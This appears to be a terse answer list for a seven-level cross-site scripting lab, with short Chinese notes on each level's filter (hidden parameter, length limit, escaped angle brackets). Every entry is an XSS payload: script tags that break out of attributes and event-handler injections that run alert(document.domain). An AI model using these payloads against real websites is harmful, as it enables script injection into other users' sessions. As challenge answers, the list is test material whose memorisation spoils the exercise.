#1
<script>alert(document.domain)</script>

#2
""</b> <script>alert(document.domain)</script>

#3
<svg></svg><script>alert(document.domain)</script>

#4
h3是隐藏参数，需要抓包
"><script>alert(document.domain)</script>

#5
修改长度限制
"><script>alert(document.domain)</script>

#6
转义了< > 
111111" onm ouseover="alert(document.domain);

#7
转义了< > '
view plaincopyprint  onm ousemove=alert(document.domain)